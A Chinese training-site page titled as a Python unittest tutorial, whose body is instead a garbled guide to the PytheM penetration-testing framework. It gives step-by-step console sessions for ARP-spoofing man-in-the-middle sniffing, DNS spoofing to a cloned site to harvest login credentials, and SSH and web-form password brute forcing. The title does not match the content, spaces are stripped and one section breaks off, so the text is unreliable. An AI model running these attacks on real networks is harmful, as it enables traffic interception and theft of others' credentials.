Python的Unittest單元測試使用詳解
PytheM是一個Python滲透測試框架。它只能在osnGNU/LinuxOS系統上運行。
安裝
$sudoapt-getupdate$sudoapt-getinstalllibasound-devlibjack-jackd2-devportaudio19-devpython-pyaudiobuild-essentialpython-devlibnetfilter-queue-devlibespeak1libffi-devlibssl-dev$sudogitclonehttps://github.com/m4n3dw0lf/PytheM/$cdPytheM$sudopipinstall-rrequirements.txt
運行
$sudo./pythem
例子
ARP欺騙-HTTP中間人攻擊
命令:
pythem>setinterface[+]Entertheinterface:wlan0pythem>setgateway[+]Enterthegateway:192.168.1.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>sniff[+]Enterthefilter:http
ARP+DNS欺騙-重定向到偽造的頁面,收集登錄憑證
使用SET等克隆工具克隆你選中的網站,并部署在Apache2上
命令:
pythem>settarget[+]Enterthetarget(s):192.168.0.8pythem>setinterfacewlan0pythem>setgateway192.168.0.1pythem>arpspoofstart[+]Settingthepacketforwarding.[+]Iptablesredefined.[+]ARPspoofinginitialized.pythem>dnsspoofstart[+]Domaintobespoofed:www.google.com[+]IPaddresstoberedirected:192.168.0.6[+]DNSspoofinginitialized.pythem>sniffdns
SSH暴破-暴力破解
pythem>servicesshstartpythem>settarget[+]Enterthetarget(s):127.0.0.1pythem>setfilewordlist.txtpythem>brute-forcessh[+]Entertheusernametobruteforce:anon123
Web頁面參數暴力破解
首先獲取web頁面登錄時的參數格式id=value
顯示重定向頁面,如果定向到一個不同的頁面則說明猜解正確。
命令
pythem>settargethttp://127.0.0.1/pythem>setfile[+]Enterthepathtothefile:wordlist.txtpythem>brute-forcewebform[+]Brute-Formauthenticationinitialized.[+]Entertheinputidoftheusernamebox:vSIS_ID[+]Entertheinputidofthepasswordbox:vSIS_PASS[+]Entertheusernametobrute-forcetheformulary:root
URL內容爆破
pythem>settarget[+]Enterthetarget(s):http://testphp.vulnweb.com/index.php?id=pythem>setfile1to100.txtpythem>brute-forceurl[+]ContentURLbruterinitialized.
功能
[PytheM–PenetrationTestingFrameworkv0.3.2]
help:
打印幫助信息。
exit/quit:
退出程序。
set:
設置變量的值,參數:
interface
gateway
target
file
arpmode例子:
pythem>setinterface|openinputtoset
或者
pythem>setinterfacewlan0|don'topeninputtosetvalue
print:
打印變量的值,例子:
pythem>printgateway
scan:
進行tcp/manualport/arp掃描.
(應該在設置完網卡和目標后再調用)例子:
pythem>scan
或者
pythem>scantcp
arpspoof:
開始或結束arpspoofing攻擊.(使用rep或req可以設置arp欺騙的模式,rep表示欺騙響應,req表示欺騙請求)
參數
start
stop
例子:
arpspoofstartarpspoofstop
dnsspoof:
開始dnsspoofing攻擊.(應該在arp欺騙攻擊開始后再調用)例子:
pythem>dnsspoofstartpythem>dnsspoofstop
sniff:
開始嗅探數據包(應該在設置網卡后再調用)例子:
pythem>sniffhttp
或者
pythem>sniff
[+]Enterthefilter:port1337andhost10.0.1.5|tcpdumplikeformatorhttp,dnsspecificfilter.
pforensic:
開始分析數據包(應該在設置完網卡和.pcap文件后調用)例子:
pythem>pforensicpforensic>help
brute-force:
開始暴力破解攻擊(應該在設置完目標和字典文件路徑后調用)參數:
ssh|目標是IP地址ipaddressastargeturl|目標是url(包含http://或https://)webform|目標是url(包含http://或https://)例子:pythem>brute-forcewebformpythem>brute-forcessh
geoip:
顯示IP地址的大概位置(應該在設置目標(IP地址)后再調用)例子:
pythem>geoip
或者
pythem>geoip8.8.8.8
decodeandencode:
以選擇的模式解碼和編碼字符串,例子:
pythem>decodebase64pythem>encodeascii
cookiedecode:
解碼base64url編碼的cookie的值,例子:
pythem>cookiedecode
其它在控制臺可以執行的命令,比如cd,ls,nano,cat等。
Jarvis–聲音控制助手
[*]jarvistypejarvis-helptoseethejarvishelppage.examples:pythem>jarvis(以語音識
以上內容為大家介紹了Python的Unittest單元測試使用詳解,希望對大家有所幫助,如果想要了解更多Python相關知識,請關注IT培訓機構:千鋒教育。

相關推薦HOT
更多>>
pythonfor循環是什么
pythonfor循環是什么在做遍歷的時候,對于一些數據的反復循環執行,我們會用到for循環的語句。可以說這是新手入門必學的語句之一,在很多基礎循...詳情>>
2023-11-13 07:46:36
pythoncontextmanager()的轉換
python中contextmanager()的轉換1、說明當發出請求時,requests庫會在將請求實際發送到目標服務器之前準備該請求。請求準備包括像驗證頭信息和...詳情>>
2023-11-13 06:34:35
python使用items()遍歷鍵值對
python使用items()遍歷鍵值對字典可以用來存儲各種方式的信息,所以有很多方式可以通過字典的所有鍵值對、鍵或值。說明1、即使通過字典,鍵值對...詳情>>
2023-11-13 04:24:15
python實例方法中self的作用
python實例方法中self的作用說明1、無論是創建類的構造方法還是實例方法,最少要包含一個參數self。2、通過實例的self參數與對象進行綁定,程序...詳情>>
2023-11-13 03:46:48